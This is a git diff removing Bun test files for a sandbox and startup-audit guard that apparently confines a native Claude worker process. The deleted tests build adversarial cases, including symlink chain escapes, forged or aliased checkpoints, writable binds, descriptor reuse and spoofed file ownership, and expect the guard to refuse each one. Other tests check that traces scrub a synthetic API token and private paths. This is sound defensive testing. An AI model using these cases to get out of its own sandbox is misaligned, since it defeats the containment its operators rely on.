-1,18 +0,0 @@ -/** Actual filesystem metadata backs the graph; the root proof covers real worker argv. */ -import {expect,test} from "bun:test"; -import {mkdtempSync,mkdirSync,writeFileSync,symlinkSync,readdirSync,lstatSync,readlinkSync,rmSync,realpathSync} from "node:fs"; -import {join} from "node:path"; -import {resolveNativeStageLinks} from "../scripts/native-stage-links"; -for(const mode of ["mapped","destination-itself","wrong-destination","sibling-prefix","changed-overlay","external","chain-escape","environment-value"] as const)test(`stage link final view: ${mode}`,()=>{ - const root=mkdtempSync("/tmp/odysseus-final-stage-link-"),destination="/brain",source="/owned/merged",entries=new Set(),links=new Map(); - try{ - mkdirSync(join(root,"notes"));writeFileSync(join(root,"notes/loom"),"Ithaca\n");mkdirSync(join(root,"-x/notes"),{recursive:true});writeFileSync(join(root,"-x/notes/loom"),"Troy\n"); - const target=mode==="destination-itself"?destination:mode==="sibling-prefix"?destination+"-x/notes/loom":mode==="external"?"/outside/loom":mode==="chain-escape"?destination+"/notes/chain":destination+"/notes/loom"; - symlinkSync(target,join(root,"alias"));if(mode==="chain-escape")symlinkSync(destination+"/../outside",join(root,"notes/chain")); - function walk(path:string){for(const name of readdirSync(join(root,path))){const relative=path?path+"/"+name:name,info=lstatSync(join(root,relative));entries.add(relative);if(info.isSymbolicLink())links.set(relative,readlinkSync(join(root,relative)));else if(info.isDirectory())walk(relative);}}walk(""); - const argv=["--clearenv",...(mode==="environment-value"?["--setenv","ODYSSEUS_VALUE","--ro-bind","--setenv","ODYSSEUS_EMPTY",""]:[]),"--ro-bind",source,mode==="wrong-destination"?"/brain-wrong":destination,...(mode==="changed-overlay"?["--ro-bind","/foreign","/brain/notes"]:[])]; - const work=()=>resolveNativeStageLinks({root,entries,links,view:{source,destination,mounts:argv}}); - if(["mapped","destination-itself","environment-value"].includes(mode)){const resolved=work().get("alias")!;expect(resolved).toBe(mode==="destination-itself"?"":"notes/loom");expect(realpathSync(join(root,resolved))).toBe(join(root,resolved));} - else expect(work,"ACTUAL_BIND_MAPPING_MUST_COVER_TARGET").toThrow(); - }finally{rmSync(root,{recursive:true,force:true});} -}); diff --git a/tests/native-startup-audit.test.ts b/tests/native-startup-audit.test.ts deleted file mode 100644 index c16a5c7b34..0000000000 --- a/tests/native-startup-audit.test.ts +++ /dev/null @@ -1,65 +0,0 @@ -import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; -import { expect, test } from "bun:test"; -import { scrubNativeStartupTrace } from "../scripts/test-native-guard"; - -test("identity startup audit bounds the tail and omits argv environment credentials and paths",()=>{ - const prompt="SIRENS_PROMPT_MUST_NOT_PRINT",secret="sk-ant-"+"v".repeat(48); - const text=scrubNativeStartupTrace('old header\n'+"compiler note voyage\n".repeat(6000)+ - `42 execve("/tmp/odysseus-runtime", ["${prompt}"], ["TOKEN=${secret}"]) = 0\n`+ - `43 execveat(3, "cli", ["${prompt}"], ["TOKEN=${secret}"], 0) = 0\n`+ - '42 openat(AT_FDCWD, "/tmp/odysseus-private/config", O_RDONLY) = -1 ENOENT\n'+ - '42 clone3({flags=CLONE_VM}, 88) = -1 EAGAIN\n'); - expect(text.length).toBeLessThanOrEqual(65536);expect(text).not.toContain("old header"); - for(const hidden of [prompt,secret,"/tmp/odysseus-private"])expect(text).not.toContain(hidden); - expect(text).toContain("execve([arguments omitted])");expect(text).toContain("clone3");expect(text).toContain("EAGAIN"); - expect(scrubNativeStartupTrace('execve("x", ["'+prompt.repeat(4000)+'"], []) = 0')).toBe(""); -}); - -for(const writeFailure of [false,true]) test(`identity audit snapshots sanitized file/process evidence before raw cleanup (${writeFailure?"blocked":"retained"})`,async()=>{ - const fs=await import("node:fs"),path=await import("node:path"),os=await import("node:os"); - const root=fs.mkdtempSync(path.join(os.tmpdir(),"odysseus-identity-audit-")); - try{ - const script=path.join(root,"probe.ts"),guard=path.join(import.meta.dir,"../scripts/test-native-guard.ts"); - fs.writeFileSync(script,`import * as fs from "node:fs";import {mock} from "bun:test"; - const originalFs={...fs}; - ${writeFailure?'mock.module("node:fs",()=>({...originalFs,writeFileSync:(path,...args)=>{if(String(path).includes("/native-startup-audit-"))throw Error("fixture diagnostic write refused");return originalFs.writeFileSync(path,...args);}}));':''} - const spawnSync=Bun.spawnSync; - Bun.spawnSync=((argv,options)=>{if(argv[0]==="/usr/bin/python3") {if(argv[5]==="set"){fs.chmodSync(argv[7],0o730);fs.chmodSync(argv[8],0o620);}return {exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)};}return Reflect.apply(spawnSync,Bun,[argv,options]);}); - process.argv.push("--native-identity-startup-audit="+${JSON.stringify(root)}); - const {auditNativeLaunch}=await import(${JSON.stringify(guard+"?identity-audit-fixture")}); - let cleaned=false;const audit=auditNativeLaunch(["/usr/bin/true"],["/synthetic/runtime"],()=>{cleaned=true;},21002); - const selection=audit.argv.find(value=>value.startsWith("trace=")); - if(!selection.includes("%file,%process")||/read|write/.test(selection))throw Error("UNSAFE_OR_MISSING_STARTUP_TRACE"); - const raw=audit.argv[audit.argv.indexOf("-o")+1]; - fs.writeFileSync(raw,'42 execve("/synthetic/runtime", ["SIRENS_PRIVATE_PROMPT"], ["TOKEN=sk-ant-'+"v".repeat(48)+'"]) = 0\\n42 clone3({}, 88) = -1 EAGAIN\\n42 openat(AT_FDCWD, \"connect(3) = -1 EPERM\", O_RDONLY) = -1 ENOENT\\n'); - fs.appendFileSync(raw,${JSON.stringify("42 newfstatat(AT_FDCWD, \"/dev/urandom\", {st_mode=S_IFCHR|0666, st_uid=65534, st_gid=65534}, 0) = 0\n42 statfs(\"/dev/urandom\", {f_flags=ST_VALID|ST_NODEV|ST_NOSUID}) = 0\n42 openat(AT_FDCWD, \"/dev/urandom\", O_RDONLY) = -1 EACCES (Permission denied)\n")}); - audit.dispose(); - if(!cleaned||fs.existsSync(raw))throw Error("RAW_AUDIT_NOT_CLEANED"); - console.log(JSON.stringify(fs.readdirSync(${JSON.stringify(root)}).filter(name=>name.startsWith("native-startup-audit-")).map(name=>JSON.parse(fs.readFileSync(${JSON.stringify(root)}+"/"+name,"utf8")))));`); - const child=spawnGuardFixture([process.execPath,script],{stdout:"pipe",stderr:"pipe"}); - const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(code,err).toBe(0); - const audit=JSON.parse(err.split("\n").find(line=>line.startsWith('{"kind":"native-offline-audit"'))!);expect(audit.deniedConnects).toBe(0); - const snapshots=JSON.parse(out);expect(snapshots).toHaveLength(writeFailure?0:1); - if(writeFailure) { expect(err).toContain('"kind":"native-fixture-startup-audit-failure"');expect(err).toContain('"nativeLaunched":true,"success":true'); } - else {expect(snapshots[0],"RETAINED_EXPECTED_EXEC_COUNTER_IS_FIXED").toHaveProperty("execCounters.expected",1);expect(snapshots[0].verdict,"RETAINED_FINAL_AUDIT_VERDICT_SURVIVES_CHANNEL_TEARDOWN").toMatchObject({kind:"native-offline-audit",nativeLaunched:true,success:true});expect(snapshots[0].deviceMetadata,"RETAINED_DEVICE_METADATA_SURVIVES_CHANNEL_TEARDOWN").toEqual([{device:"urandom",mode:0o666,uid:65534,gid:65534,nodev:true,nosuid:true,ro:false}]);expect(snapshots[0].failedOpenStages,"RETAINED_OPEN_STAGE_SURVIVES_CHANNEL_TEARDOWN").toEqual([{stage:"payload",execPosition:1,device:"urandom",error:"EACCES"}]);expect(snapshots[0].text).toContain("EAGAIN");expect(snapshots[0].text).not.toContain("SIRENS_PRIVATE_PROMPT");expect(snapshots[0].text).not.toContain("sk-ant-");} - }finally{fs.rmSync(root,{recursive:true,force:true});} -}); - - -test("failed-open labels retain fixture-relative names and remove every outside path segment",()=>{ - const paths=["/fixture/voyage/loom.env","/home/secret-captain/My Secret/config","/root/private","/proc/self/exe","/sys/kernel/private","/dev/secret-device","/etc/secret-settings","/usr/lib/secret-runtime","/outside/secret-owner/file"]; - const trace=paths.map(path=>`9 openat(AT_FDCWD, ${JSON.stringify(path)}, O_RDONLY) = -1 EACCES`).join("\n"); - const text=scrubNativeStartupTrace(trace,["/fixture/voyage"]); - expect(text,"FIXTURE_FAILED_OPEN_IS_IDENTIFIED").toContain("fixture-0:loom.env"); - for(const category of ["home-outside-fixture","proc","sys","dev","etc","runtime-root","other-absolute"])expect(text).toContain(`"${category}"`); - for(const hidden of ["secret-captain","My Secret","secret-owner","secret-runtime","secret-device","/home/","/fixture/","/root/","/outside/"])expect(text,"FAILED_OPEN_HOST_PATH_IS_OMITTED").not.toContain(hidden); - expect(text).toContain("EACCES"); -}); - -test("failed device opens retain only fixed non-secret device basenames",()=>{ - const trace=['/dev/stdin','/dev/stdout','/dev/stderr','/dev/fd/2','/dev/null','/dev/urandom','/dev/tty','/dev/pts/7','/dev/shm/circe-private'].map(path=>`1 openat(AT_FDCWD, ${JSON.stringify(path)}, O_RDONLY) = -1 EACCES (Permission denied)`).join("\n"); - const text=scrubNativeStartupTrace(trace,[]); - for(const label of ['dev:stdin','dev:stdout','dev:stderr','dev:fd/2','dev:null','dev:urandom','dev:tty','dev:pts/7','dev:shm/[entry]'])expect(text,"FIXED_DEVICE_OPEN_LABEL").toContain(label); - expect(text).not.toContain('circe');expect(text).not.toContain('/dev/'); -}); diff --git a/tests/native-strict-admission.test.ts b/tests/native-strict-admission.test.ts deleted file mode 100644 index 13f5dafcb4..0000000000 --- a/tests/native-strict-admission.test.ts +++ /dev/null @@ -1,162 +0,0 @@ -import {expect,test} from "bun:test"; -import {mkdtempSync,writeFileSync,rmSync,chmodSync} from "node:fs"; -import {join} from "node:path"; -import {watchdogMs} from "../scripts/test-deadlines"; -import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; -const repo=join(import.meta.dir,".."); -/** Existence is not readiness: a shell redirection can publish an empty file. */ -async function keeperReadyPid(path:string,timeoutMs:number):Promise{ - const deadline=Date.now()+timeoutMs; - for(;;){ - try{const text=(await Bun.file(path).text()).trim();if(/^[1-9][0-9]*$/.test(text)){const pid=Number(text);if(Number.isSafeInteger(pid)&&pid>1)return pid;}} - catch(error){if((error as NodeJS.ErrnoException).code!=="ENOENT")throw error;} - if(Date.now()>deadline)throw Error("REAL_MANAGED_KEEPER_READY_REQUIRED"); - await Bun.sleep(5); - } -} -test("managed keeper readiness waits past an empty published file",async()=>{ - const root=mkdtempSync("/tmp/odysseus-keeper-ready-");let publish:ReturnType|undefined; - try{const path=join(root,"ready");writeFileSync(path,"");publish=setTimeout(()=>writeFileSync(path,String(process.pid)),50); - expect(await keeperReadyPid(path,watchdogMs(5000)),"READY_MEANS_A_COMPLETE_NONZERO_PID").toBe(process.pid); - }finally{clearTimeout(publish);rmSync(root,{recursive:true,force:true});} -}); - -const modes=["managed-candidate-area-complete","managed-candidate-area-sibling","managed-candidate-area-write","managed-ordinary-git-complete","managed-ordinary-git-wrong-view","managed-ordinary-git-wrong-source","managed-ordinary-git-stale","managed-ordinary-git-after-close","managed-ordinary-complete","managed-ordinary-stale","managed-ordinary-namespace","managed-ordinary-path","managed-ordinary-argument","managed-ordinary-write","managed-ordinary-write-before-launch","managed-candidate-complete","managed-candidate-stale","managed-candidate-namespace","managed-candidate-path","managed-candidate-argument","managed-candidate-write","managed-candidate-write-before-launch","managed-snapshot-reuse","managed-ticket-owner","managed-ticket-before-launch","ordinary-other-owner","tree-inherited-released","managed-complete","managed-wrong-checkpoint","managed-fd-before-launch","managed-owner-released","managed-owner-before-launch","managed-reuse","managed-other-scope","managed-start","managed-namespace","managed-fd","managed-root","managed-unmanaged","managed-observed-unmanaged","complete","checkpoint-only","checkpoint-released","checkpoint-released-before-launch","forged","released","release-before-launch","alias","dotdot","writable","wrong-target","wrong-brain","duplicate","tree-declare-parent","tree-wrong-brain","tree-swapped","tree-alias","tree-outside","tree-parent","tree-replaced","tree-released"]; -for(const label of modes)test(`strict native product plan admission: ${label}`,async()=>{ - const ordinary=label.startsWith("managed-ordinary-"),mode=ordinary?label.replace("managed-ordinary-","managed-candidate-"):label; - const root=mkdtempSync("/tmp/odysseus-strict-admission-"); - try{ - const file=join(root,"proof.ts");writeFileSync(file,` -import * as fs from "node:fs";import {join} from "node:path";import {spyOn} from "bun:test"; -import {watchdogMs} from ${JSON.stringify(join(repo,"scripts/test-deadlines.ts"))}; -import {prepareNativeWorkerStartupView} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-startup-view.ts"))}; -import * as launcher from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-launcher.ts"))}; -import {workerCommand,createOutputStagingStorage} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-launcher.ts"))}; -import {prepareFixtureWorkerOutput} from ${JSON.stringify(join(repo,"packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts"))}; -import {nativeScriptedService,nativeFixtureTurnDataTree,nativeScriptedQuery,nativeWorkerBoundary,registerNativeFixtureKeeper,registerNativeFixtureManagedKeeper,recordNativeGuardChild} from ${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}; -import {bundledClaudeBinary} from ${JSON.stringify(join(repo,"packages/ui-server/tests/helpers/claude-binary.ts"))}; -const root=${JSON.stringify(root)},mode=${JSON.stringify(mode)},brain=join(root,"brain");fs.mkdirSync(brain);fs.mkdirSync(join(brain,"workspaces"));fs.writeFileSync(join(brain,"loom.md"),"Odysseus"); -const realStatfs=fs.statfsSync;const fake=spyOn(fs,"statfsSync").mockImplementation((path,...args)=>{const value=realStatfs(path,...args);return String(path)===brain||String(path).includes("/.brain-native/checkpoints/")?{...value,type:0x9123683e}:value;}); -const manager={async checkpoint(id){const path=join(root,".brain-native/checkpoints",id);fs.mkdirSync(path,{recursive:true});fs.mkdirSync(join(path,"workspaces"));fs.writeFileSync(join(path,"loom.md"),"Odysseus");fs.writeFileSync(join(path,".env"),"ODYSSEUS_FIXTURE=harmless");return {id,path,readOnly:true,fsid:"00000000-0000-4000-8000-000000000000",sourceUuid:"a".repeat(32),uuid:"b".repeat(32),rootId:"256",transaction:"1"};},async release(){},async prepareStage(){},async inspectStage(){},async releaseStage(){}}; -const view=await prepareNativeWorkerStartupView(brain,manager),otherHeld=mode==="managed-wrong-checkpoint"?await prepareNativeWorkerStartupView(brain,manager):undefined;fake.mockRestore(); -const treeParent=join(root,".brain-native/trees/00000000-0000-4000-8000-000000000000"),tree={root:join(treeParent,"data"),index:join(treeParent,"index"),indexWritable:true};fs.mkdirSync(join(tree.root,".brain-index"),{recursive:true});fs.mkdirSync(tree.index);fs.writeFileSync(join(tree.root,"loom.md"),"Odysseus"); -const server=Bun.serve({port:0,fetch(){return new Response(null,{status:400});}});const leave=nativeScriptedService(server.url.origin,{fixtureRoots:[brain,]}); -let invoke;const wrapped=nativeScriptedQuery(params=>{invoke=params.options.spawnClaudeCodeProcess;return {};},server.url.origin); -const originalSpawn=Bun.spawnSync,which=Bun.which;Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options));Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(originalSpawn,Bun,[argv,options]));process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; -let plan,output,undeclare,otherView,inheritedLeave,storage,unregister;try{ - if(mode==="tree-declare-parent")tree.root=join(root,".brain-native"); - if(mode==="tree-swapped"){[tree.root,tree.index]=[tree.index,tree.root];} - if(mode==="tree-alias"){fs.symlinkSync(tree.root,tree.root+"-alias");tree.root+="-alias";} - if(mode==="tree-outside")tree.index=brain; - if(!mode.startsWith("checkpoint-")&&(!mode.startsWith("managed-")||(mode==="managed-complete"||mode==="managed-snapshot-reuse"||mode.startsWith("managed-candidate-"))))undeclare=nativeFixtureTurnDataTree(server.url.origin,mode==="tree-wrong-brain"?root:brain,view,tree); - if(mode==="tree-replaced"){fs.renameSync(tree.index,tree.index+"-old");fs.mkdirSync(tree.index);} - if(mode==="tree-released")undeclare(); - if(mode==="tree-inherited-released"){inheritedLeave=nativeScriptedService(server.url.origin);undeclare();} - const runtime=bundledClaudeBinary(); - // Exercise a registered fixture keeper through the actual production nsenter plan. - if(mode.startsWith("managed-")){ - const mount=join(root,".brain-native/stages/22222222-2222-4222-8222-222222222222");fs.mkdirSync(mount,{recursive:true}); - const readyFile=join(root,"keeper-ready"),keeperArgv=["bwrap","--unshare-user","--bind","/","/","--tmpfs",mount,"--proc","/proc","--dev","/dev","--","/bin/sh","-c",'mkdir -p "$1/merged/workspaces" && printf %s "$$" > "$2.tmp" && mv -- "$2.tmp" "$2" && exec sleep "$3"',"odysseus-managed-keeper",mount,readyFile,String(watchdogMs(30000)/1000)]; - // A remote manager's keeper is not a guard-observed child. Fork through a - // short-lived manager stand-in, then prove ownership through the descriptor. - const {NATIVE_FIXTURE_FORK_EXEC}=await import(${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}); - const managerChild=Bun.spawn(["/usr/bin/python3","-I","-S","-c",NATIVE_FIXTURE_FORK_EXEC,...keeperArgv],{env:{PATH:"/usr/bin:/bin"},stdin:"ignore",stdout:"ignore",stderr:"ignore"});await managerChild.exited; - const pid=await (${keeperReadyPid.toString()})(readyFile,watchdogMs(5000)); - const fd=fs.openSync('/proc/'+pid+'/root'+mount,'r'),start=fs.readFileSync('/proc/'+pid+'/stat','utf8').replace(/^.*\\) /s,'').split(' ')[19];let finishObserved;const observedExit=new Promise(resolve=>finishObserved=resolve); - storage={root:'/proc/'+process.pid+'/fd/'+fd,mount,namespacePid:pid,namespaceStart:start,retain(){},release(){fs.closeSync(fd);try{process.kill(pid,"SIGTERM");}catch{}finishObserved(0);}}; - output={output:{source:join(storage.root,"merged"),target:"/tmp/brain-maintenance-output",storage},cleanup(){unregister?.();storage.release();}}; - if(mode==="managed-observed-unmanaged")recordNativeGuardChild({pid,exited:observedExit}); - if(mode==="managed-owner-released")await view.cleanup(); - if(mode==="managed-wrong-checkpoint"){otherView=otherHeld;view.root=otherView.root;} - if(mode==="managed-start")storage.namespaceStart="wrong-start"; - if(mode==="managed-namespace")storage.namespacePid=process.pid; - if(mode==="managed-fd")storage.root='/proc/self/fd/'+fd; - if(mode==="managed-root")storage.mount=join(root,".brain-native/stages/33333333-3333-4333-8333-333333333333"); - // A keyless manager stand-in supplies the same bounded reader and attestation - // capabilities. The keeper and mount identity below are real bwrap evidence. - const uid=process.getuid(),ticketFile=join(root,"manager-stage-authority"),merged=fs.statSync(join(storage.root,"merged")),checkpoint=fs.statSync(view.root),ns=fs.statSync('/proc/'+storage.namespacePid+'/ns/mnt'); - const authority={version:1,kind:"brain-worker-stage",id:mount.split('/').at(-1),appUid:uid,appGid:process.getgid(),keeper:{pid:storage.namespacePid,start:storage.namespaceStart,mountNamespaceInode:String(ns.ino)},root:{path:join(mount,"merged"),dev:String(merged.dev),ino:String(merged.ino)},checkpoint:{path:view.root,dev:String(checkpoint.dev),ino:String(checkpoint.ino),uuid:"b".repeat(32)},allowanceBytes:1024*1024}; - fs.writeFileSync(ticketFile,JSON.stringify(authority));const ticketFd=fs.openSync(ticketFile,'r');storage.allowanceBytes=authority.allowanceBytes; - const originalFstat=fs.fstatSync;spyOn(fs,"fstatSync").mockImplementation((fd,...args)=>{const info=originalFstat(fd,...args);return fd===ticketFd?{...info,uid:mode==="managed-ticket-owner"?1:0,nlink:0,mode:0o100444,isFile:()=>true}:info;}); - spyOn(launcher,"verifiedWorkerIdentity").mockReturnValue(${JSON.stringify(ordinary)}?undefined:{identity:"separate_uid",workerUid:uid}); - if(mode.startsWith("managed-candidate-"))fs.writeFileSync(join(storage.root,"merged/candidate.md"),"Ithaca"); - if(mode.startsWith("managed-candidate-area-")){fs.mkdirSync(join(storage.root,"merged/unregistered"));fs.writeFileSync(join(storage.root,"merged/workspaces/candidate.md"),"Ithaca");} - const metadata=path=>{const info=fs.lstatSync(join(storage.root,"merged",path),{bigint:true});return {path,kind:info.isDirectory()?"directory":info.isFile()?"file":"other",mode:Number(info.mode&0o777n),bytes:Number(info.size),stamp:String(info.ino)+":"+String(info.size)+":"+String(info.mtimeNs)+":"+String(info.ctimeNs),inode:String(info.ino)};}; - manager.attestStage=async()=>({fd:ticketFd,close(){try{fs.closeSync(ticketFd);}catch{}}}); - manager.listStage=async(id,path)=>fs.readdirSync(join(storage.root,"merged",path)).map(name=>metadata(path?path+'/'+name:name));manager.statStage=async(id,path)=>metadata(path); - manager.readStage=async(id,path,maximum,workerUid)=>{const bytes=fs.readFileSync(join(storage.root,"merged",path));return {workerUid,stream:new ReadableStream({start(c){c.enqueue(bytes);c.close();}}),completed:Promise.resolve({bytes:bytes.length,workerUid})};}; - unregister=await registerNativeFixtureManagedKeeper(storage,["managed-unmanaged","managed-observed-unmanaged"].includes(mode)?{...view}:view,mode.startsWith("managed-candidate-area-")?["workspaces"]:[]); - if(mode==="managed-reuse"){unregister();await registerNativeFixtureManagedKeeper(storage,view);} - if(mode==="managed-other-scope")nativeScriptedService(server.url.origin,{fixtureRoots:[brain,]}); - }else{ - storage=createOutputStagingStorage();storage.retain(); - if(mode==="ordinary-other-owner"){const fstat=fs.fstatSync;spyOn(fs,"fstatSync").mockImplementation((fd,...args)=>{const info=fstat(fd,...args);let name="";try{name=fs.readlinkSync("/proc/self/fd/"+fd);}catch{}return name.endsWith("/merged")?Object.assign(Object.create(Object.getPrototypeOf(info)),info,{uid:typeof info.uid==="bigint"?info.uid+1n:info.uid+1}):info;});} - fs.mkdirSync(join(storage.root,"merged/workspaces"),{recursive:true});unregister=registerNativeFixtureKeeper(storage);output={output:{source:join(storage.root,"merged"),target:"/tmp/brain-maintenance-output",storage},cleanup(){unregister();storage.release();}}; - } - const launch={brainPath:brain,startupView:view,areaOutput:output.output,command:[runtime],env:{PATH:"/usr/local/bin:/usr/bin:/bin"},sandbox:{brain,restricted:false,profile:"strict",areas:[{name:"workspaces",rel:"workspaces",mount:{path:join(brain,"workspaces"),writable:true}}],scratchAliasesRemoved:[],dataTree:tree}}; - if(mode==="forged"){const forged=join(root,".brain-native/checkpoints/11111111-1111-4111-8111-111111111111");fs.mkdirSync(forged);launch.startupView={...view,root:forged};} - if(mode.startsWith("checkpoint-")||mode.startsWith("managed-")&&mode!=="managed-complete"&&mode!=="managed-snapshot-reuse"&&!mode.startsWith("managed-candidate-"))delete launch.sandbox.dataTree; - if(mode.startsWith("managed-")&&mode!=="managed-complete"&&mode!=="managed-snapshot-reuse"&&!mode.startsWith("managed-candidate-"))delete launch.startupView; - if(mode==="released"||mode==="checkpoint-released")await view.cleanup(); - if(mode==="alias"){fs.symlinkSync(view.root,view.root+"-alias");launch.startupView={...view,root:view.root+"-alias"};} - if(mode==="dotdot")launch.startupView={...view,root:view.root+"/../"+view.root.split("/").at(-1)}; - if(mode==="wrong-brain"){launch.startupView={...view,brain:root};} - let argv=workerCommand(launch);const at=argv.findIndex((v,i)=>v==="--ro-bind"&&argv[i+1]===launch.startupView?.root&&argv[i+2]===brain); - if(mode==="writable")argv[at]="--bind"; - if(mode==="wrong-target")argv[at+2]="/tmp/odysseus-other-brain"; - if(mode==="duplicate")argv.splice(at,0,...argv.slice(at,at+3)); - if(mode==="tree-parent"){argv=["bwrap","--ro-bind",join(root,".brain-native"),"/tmp/odysseus-undeclared-parent","--",runtime];delete launch.startupView;delete launch.areaOutput;} - if(mode.startsWith("managed-candidate-")){ - const {WORKER_FILESYSTEM_FILTER_PROGRAM}=await import(${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-filesystem-filter.ts"))}); - argv=["/usr/bin/python3","-I","-S","-c",WORKER_FILESYSTEM_FILTER_PROGRAM,...argv]; - let candidate=join(storage.mount,"merged"); - if(mode.startsWith("managed-candidate-area-"))candidate=join(candidate,mode==="managed-candidate-area-sibling"?"unregistered":"workspaces"); - if(mode==="managed-candidate-area-write")fs.writeFileSync(join(storage.root,"merged/workspaces/candidate.md"),"Scheria"); - if(mode.startsWith("managed-candidate-git-")){ - const {registerNativeFixtureMaintenanceGit}=await import(${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}); - const source=join(storage.root,"git-adapter");fs.mkdirSync(source);fs.writeFileSync(join(source,"config.json"),"{}"); - registerNativeFixtureMaintenanceGit(storage,mode==="managed-candidate-git-wrong-view"?{...view}:view,{source:mode==="managed-candidate-git-wrong-source"?join(storage.root,"upper"):source,target:"/tmp/brain-maintenance-git"}); - candidate=join(storage.mount,"git-adapter"); - if(mode==="managed-candidate-git-stale")fs.writeFileSync(join(source,"config.json"),"[]"); - if(mode==="managed-candidate-git-after-close")unregister(); - } - fs.mkdirSync(candidate,{recursive:true});fs.chmodSync(storage.mount,0o000); - const probe=[...argv.slice(0,13),"--ro-bind",candidate,"/tmp/brain-maintenance-output","--","/usr/bin/true"]; - if(mode==="managed-candidate-stale")unregister(); - if(mode==="managed-candidate-namespace")probe[probe.indexOf("--target")+1]=String(process.pid); - if(mode==="managed-candidate-path")probe[14]=candidate+"-other"; - if(mode==="managed-candidate-argument")probe.splice(probe.indexOf("--target"),0,"--mount"); - if(mode==="managed-candidate-write")fs.writeFileSync(join(storage.root,"merged/candidate.md"),"Scheria"); - const {isNativeClaude}=await import(${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}); - if(isNativeClaude(probe[0],probe.slice(1)))throw Error("HARMLESS_MANAGED_CHAIN_MUST_NOT_BECOME_NATIVE"); - if(!["managed-candidate-complete","managed-candidate-write-before-launch","managed-candidate-git-complete","managed-candidate-area-complete"].includes(mode))throw Error("UNSAFE_STRICT_PLAN_ADMITTED:"+mode); - if(!isNativeClaude(runtime))throw Error("SELECTED_NATIVE_MUST_STILL_BE_DETECTED"); - fs.chmodSync(storage.mount,0o700); - } - launch.argv=argv; - // The SDK spawn-hook adapter must preserve the current held tree scope. - wrapped({options:{spawnClaudeCodeProcess(){plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify(launch)});return {};}}});invoke({}); - if(mode==="release-before-launch"||mode==="checkpoint-released-before-launch"||mode==="managed-owner-before-launch")await view.cleanup(); - if(mode==="managed-fd-before-launch"){const fd=Number(storage.root.split("/").at(-1));fs.closeSync(fd);const replacement=fs.openSync(brain,"r");if(replacement!==fd)throw Error("DESCRIPTOR_REUSE_REQUIRED");} - if(mode==="managed-ticket-before-launch")fs.writeFileSync(join(root,"manager-stage-authority"),"changed"); - if(mode==="managed-candidate-write-before-launch")fs.writeFileSync(join(storage.root,"merged/candidate.md"),"Scheria"); - plan.beforeLaunch(); - if(mode!=="complete"&&mode!=="checkpoint-only"&&mode!=="managed-complete"&&mode!=="managed-snapshot-reuse"&&mode!=="managed-candidate-complete"&&mode!=="managed-candidate-git-complete"&&mode!=="managed-candidate-area-complete")throw Error("UNSAFE_STRICT_PLAN_ADMITTED:"+mode); - const guarded=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; - if(!guarded.includes("--unshare-net")||!guarded.some((v,i)=>v==="--dev"&&guarded[i+1]==="/dev")||!guarded.includes("/run/brain-egress/proxy.sock")||!guarded.some((v,i)=>v==="--ro-bind"&&guarded[i+1]==="/dev/null"&&guarded[i+2]===join(brain,".env")))throw Error("STRICT_DEVICES_AND_PINNED_TRANSPORT_MISSING"); - // Metadata-only audit completion: no installed runtime is executed in this proof. - fs.writeFileSync(guarded[guarded.indexOf("-o")+1],"1 execve("+JSON.stringify(runtime)+", [], 0x1) = 0\\n"); - if(mode==="managed-snapshot-reuse"){ - plan.dispose();plan=undefined; - nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify(launch)}); - throw Error("UNSAFE_STRICT_PLAN_ADMITTED:"+mode); - } - console.log("STRICT_PLAN_ALL_BINDS_ADMITTED"); -}finally{if(mode.startsWith("managed-candidate-")&&storage)try{fs.chmodSync(storage.mount,0o700);}catch{}plan?.dispose();output?.cleanup();inheritedLeave?.();undeclare?.();leave();server.stop(true);await view.cleanup();await otherView?.cleanup();} -`); - const child=spawnGuardFixture([process.execPath,file],{env:{...process.env},timeout:watchdogMs(20000)}); - const [code,out,receipts]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]);const err=receipts; - if(mode==="complete"||mode==="checkpoint-only"||mode==="managed-complete"||mode==="managed-candidate-complete"||mode==="managed-candidate-git-complete"||mode==="managed-candidate-area-complete"){expect(code,"STRICT_COMPLETE_PRODUCT_PLAN "+err+receipts).toBe(0);expect(out).toContain("STRICT_PLAN_ALL_BINDS_ADMITTED");} - else{if(["managed-candidate-stale","managed-candidate-namespace","managed-candidate-path","managed-candidate-argument","managed-candidate-area-sibling"].includes(mode))expect(receipts,"UNATTESTED_PRIVATE_DIRECTORY_CANNOT_SKIP_METADATA").toContain("native executable metadata is unavailable");expect(code,"STRICT_ROLE_REFUSES "+mode+" "+out).not.toBe(0);expect(err+receipts,"EXPECTED_ROLE_REFUSAL "+mode).not.toContain("UNSAFE_STRICT_PLAN_ADMITTED");if(mode==="managed-snapshot-reuse")expect(receipts,"REUSE_REFUSAL_AFTER_SUCCESSFUL_SETUP").toContain("managed fixture keeper snapshot was already used");expect(err+receipts,"ROLE_REFUSAL_IS_THE_CLAIMED_CAUSE "+mode).toMatch(/native checkpoint bind|native fixture turn data declaration unavailable|worker bind was not created or staged by the fixture|fixture keeper|managed fixture keeper|ordinary managed fixture Git|native executable metadata is unavailable/);if(["checkpoint-released","checkpoint-released-before-launch","forged","writable","wrong-target","duplicate"].includes(mode))expect(receipts,"CHECKPOINT_FAILURE_NAMES_FIXED_PRODUCT_ROLE").toContain('"sourceKind":"product-checkpoint"');} - 